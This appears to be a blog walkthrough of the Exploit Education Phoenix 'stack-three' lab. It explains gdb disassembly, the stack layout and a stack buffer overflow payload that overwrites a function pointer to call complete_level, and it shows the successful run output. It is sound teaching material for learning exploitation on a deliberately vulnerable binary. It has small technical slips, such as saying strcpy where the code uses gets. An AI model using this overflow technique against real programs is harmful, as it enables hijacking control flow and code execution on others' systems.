If you’re learning and writing binary exploits, I would strongly recommend you to take Architecture 1001: x86-64 Assembly course by Xeno Kovah
. They cover a wide variety of learning assembly instructions which will be really helpful to understand the exploits.
If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup
Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
Quick Overview
Similar to Stack Two, Stack Three exercise motive is to smash the stack to modify other variables in the stack to a hex value
and technically overwrite function pointer
in the stack. Similar to gets
in Stack Zero, strcpy
function is unsafe that doesn’t have bounds check, it accepts memory address to write but doesn’t care about overwriting other declared function pointer in stack. If you take closer look at the struct which isn’t dynamically being allocated by malloc
function, so probably the struct which contains both char buffer[64]
and volatile int *fp
function pointer stays in main stackframe. This overwritten function pointer will be further used to invoke in later part of the program.
Disassemble
Disassembling the code will get you overall idea behind the stack-three code, One can use gdb ./stack-three
to start debugging it in runtime.
gdb ./stack-three
- Type
disassemble main
to get the disassembled code (assembly)
0x00000000004006b5 <+0>: push rbp
0x00000000004006b6 <+1>: mov rbp,rsp
0x00000000004006b9 <+4>: sub rsp,0x60
0x00000000004006bd <+8>: mov DWORD PTR [rbp-0x54],edi
0x00000000004006c0 <+11>: mov QWORD PTR [rbp-0x60],rsi
0x00000000004006c4 <+15>: mov edi,0x4007d8
0x00000000004006c9 <+20>: call 0x4004f0 <puts@plt>
0x00000000004006ce <+25>: mov QWORD PTR [rbp-0x10],0x0
0x00000000004006d6 <+33>: lea rax,[rbp-0x50]
0x00000000004006da <+37>: mov rdi,rax
0x00000000004006dd <+40>: call 0x4004e0 <gets@plt>
0x00000000004006e2 <+45>: mov rax,QWORD PTR [rbp-0x10]
0x00000000004006e6 <+49>: test rax,rax
0x00000000004006e9 <+52>: je 0x40071d <main+104>
0x00000000004006eb <+54>: mov rax,QWORD PTR [rbp-0x10]
0x00000000004006ef <+58>: mov rsi,rax
0x00000000004006f2 <+61>: mov edi,0x400828
0x00000000004006f7 <+66>: mov eax,0x0
0x00000000004006fc <+71>: call 0x4004d0 <printf@plt>
0x0000000000400701 <+76>: mov rax,QWORD PTR [rip+0x200418] # 0x600b20 <stdout>
0x0000000000400708 <+83>: mov rdi,rax
0x000000000040070b <+86>: call 0x400500 <fflush@plt>
0x0000000000400710 <+91>: mov rdx,QWORD PTR [rbp-0x10]
0x0000000000400714 <+95>: mov eax,0x0
0x0000000000400719 <+100>: call rdx
0x000000000040071b <+102>: jmp 0x400727 <main+114>
0x000000000040071d <+104>: mov edi,0x400848
0x0000000000400722 <+109>: call 0x4004f0 <puts@plt>
0x0000000000400727 <+114>: mov edi,0x0
0x000000000040072c <+119>: call 0x400510 <exit@plt>
If you carefully check the source, you might miss complete_level
in the above disassembled code. You can go ahead and type disassemble complete_level
in the gdb prompt,
0x000000000040069d <+0>: push rbp
0x000000000040069e <+1>: mov rbp,rsp
0x00000000004006a1 <+4>: mov edi,0x400790
0x00000000004006a6 <+9>: call 0x4004f0 <puts@plt>
0x00000000004006ab <+14>: mov edi,0x0
0x00000000004006b0 <+19>: call 0x400510 <exit@plt>
Before taking a look at the code, if you disassembled the stack-three using gdb to view the assembly instruction, you may notice the puts, fflush, exit and gets function calls with parameters. So basically when you hit r
in gdb without breakpoint,
- Greet with
Welcome to phoenix/stack-three, brought to you by https://exploit.education
message via Puts (aka printf) method - Set
locals.fp
variable tozero
or0x00
in hex - Strcpy
locals.buffer
variable filled bygets
function - Verify
locals.fp
is notNULL
(cmd instruction) - Use
locals.fp
function pointer to invoke the corresponding function - Use puts(aka Printf) method to greet the user again with decision
- Finally exits the program with
exit(0)
system call instead of returning to the main function invoker
Primary Goal
The primary goal of this exercise is to make you familiar to overwrite function pointer with your own function pointer and therefore redirecting the program flow to achieve code execution within the binary/program. In ideal exploit world, you may overwrite the function pointer and redirect to system
function call to achieve remote code execution and this blog post good example of reflecting this goal. In this exercise, you might want to overwrite the function pointer locals.fp
with complete_level
function memory address.
Memory Allocation
As you see that the locals
struct isn’t dynamically allocated, they are allocated in the stack frame same as main
function gets executes. The main function starts executing my pushing $rbp
to stack at 0x7fffffffe660
and then rsp
to $rbp-0x60
(0x7fffffffe600) as expected the stack grows from top (higher memory address) to bottom (lower memory address).
You can see that locals.buffer
(64 bytes) gets written at $rbp-0x50
i.e 0x7fffffffe610
and locals.fp
integer variable (4 bytes) at rbp-0x10
i.e 0x7fffffffe650
. Now that you got the overall idea of the memory layout of the stack, you can now go ahead blow up the stack to overwrite locals.fp
. If you play around with these memory layout behaviour, you may note that the char buffer
variable writes from $rbp-0x50
towards $rbp-0x10
.
Exploit
As previously discussed locals.buffer
and locals.fp
are allocated nearby each other in stack. So, if your input of 64 characters (example: 64 * ‘A’) wouldn’t overrite the locals.fp
variable, but if you do the same with 65 characters, you have succesfully overwritten locals.fp
variable. However, our challenge is to overwrite locals.fp
variable with complete_level
function memory address. So, How do i get the complete_level
function loaded memory address? Simple, use gdb disassemble disassemble complete_level
command and note down the starting rbp
address aka 0x40069d
(ignore the padding zeros).
If you try generating the payload simply (A * 64) + '\x40\x06\x9d'
, this would represent in the memory as 64 'A's & 0x40069d
😵. Remember Little Endianness ?, Yes Intel or AT&T syntax follows Little Endianness, so the representation should be in reverse order as 'A'*64 + '\x9d\x06\x40'
.
Result
> r <<< $(python -c "print('A'*64 + '\x9d\x06\x40')")
in gdb prompt.
(gdb) r
(gdb) r <<< $(python -c "print('A'*64 + '\x9d\x06\x40')")
Starting program: /opt/phoenix/amd64/stack-three <<< $(python -c "print('A'*64 + '\x9d\x06\x40')")
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!
[Inferior 1 (process 375) exited normally]
Py
There you go! 🎉 You’ve officially pwned
the binary
and possibly you could control the program flow and may
eventually perform remote code execution in the system. 🪲
Source and Reference:
- Stack Three Exercise: Exploit Education
- Architecture 1001: x86-64 Assembly
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.